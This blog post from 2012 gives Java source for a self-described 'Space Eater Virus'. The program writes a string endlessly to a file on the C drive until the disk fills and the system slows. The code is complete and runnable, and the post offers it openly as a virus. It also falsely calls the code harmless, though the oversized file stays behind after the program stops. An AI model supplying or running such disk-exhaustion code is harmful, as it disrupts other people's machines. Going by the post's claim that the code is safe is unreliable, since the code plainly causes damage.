Please disable your adblock and script blockers to view this page

Search this blog

Tuesday, 16 October 2012

Code that eats hard drive space, Space Eater Virus in Java

This Java Code will eat your space on C drive and Slowdown your System, this code doesn't harm your system. When you stop executing  program it will stop eating your space




  1. package socketProgramming;
  2. import java.io.FileNotFoundException;
  3. import java.io.FileOutputStream;
  4. import java.io.IOException;
  5. public class SpaceEater {
  6.     public static void main(String[] args) {
  7.         FileOutputStream fout;
  8.         try {
  9.             fout = new FileOutputStream("C://Ashish.dll");
  10.             String s =
  11.                 "Hello this is space eater virus how much space it will eat you don't know. it will just destroy all system speed and space on hard disc";
  12.             byte b[] = s.getBytes();
  13.             int i = 0;
  14.             while (i != -1) {
  15.                 fout.write(b);
  16.                
  17.             }
  18.         } catch (FileNotFoundException e) {
  19.         } catch (IOException e) {
  20.         }
  21.     }
  22. }

No comments :

Post a Comment